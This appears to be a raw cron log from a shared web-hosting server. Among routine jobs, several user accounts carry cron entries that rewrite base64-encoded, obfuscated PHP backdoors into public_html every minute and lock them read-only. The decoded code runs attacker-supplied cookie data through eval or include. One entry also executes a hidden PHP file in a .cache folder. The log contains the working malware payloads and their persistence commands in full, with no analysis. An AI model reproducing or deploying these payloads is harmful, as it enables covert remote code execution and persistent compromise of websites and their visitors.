Mar  1 09:26:01 medusa CROND[31058]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:26:01 medusa CROND[31059]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:26:01 medusa CROND[31060]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:26:01 medusa CROND[31065]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:26:01 medusa CROND[31066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:26:01 medusa CROND[31067]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:26:01 medusa CROND[31062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:26:01 medusa CROND[31069]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:26:01 medusa CROND[31061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:26:01 medusa CROND[31090]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:26:01 medusa CROND[31091]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:26:01 medusa CROND[31093]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:26:01 medusa CROND[31098]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:27:01 medusa CROND[21194]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:27:01 medusa CROND[21196]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:27:01 medusa CROND[21197]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:27:01 medusa CROND[21195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:27:01 medusa CROND[21198]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:27:01 medusa CROND[21201]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:27:01 medusa CROND[21202]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:27:01 medusa CROND[21213]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:27:01 medusa CROND[21214]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:27:01 medusa CROND[21217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:27:01 medusa CROND[21218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:27:01 medusa CROND[21224]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:28:01 medusa CROND[10897]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:28:01 medusa CROND[10916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:28:01 medusa CROND[11002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:28:01 medusa CROND[11004]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:28:01 medusa CROND[11013]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:28:01 medusa CROND[11017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:28:01 medusa CROND[11018]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
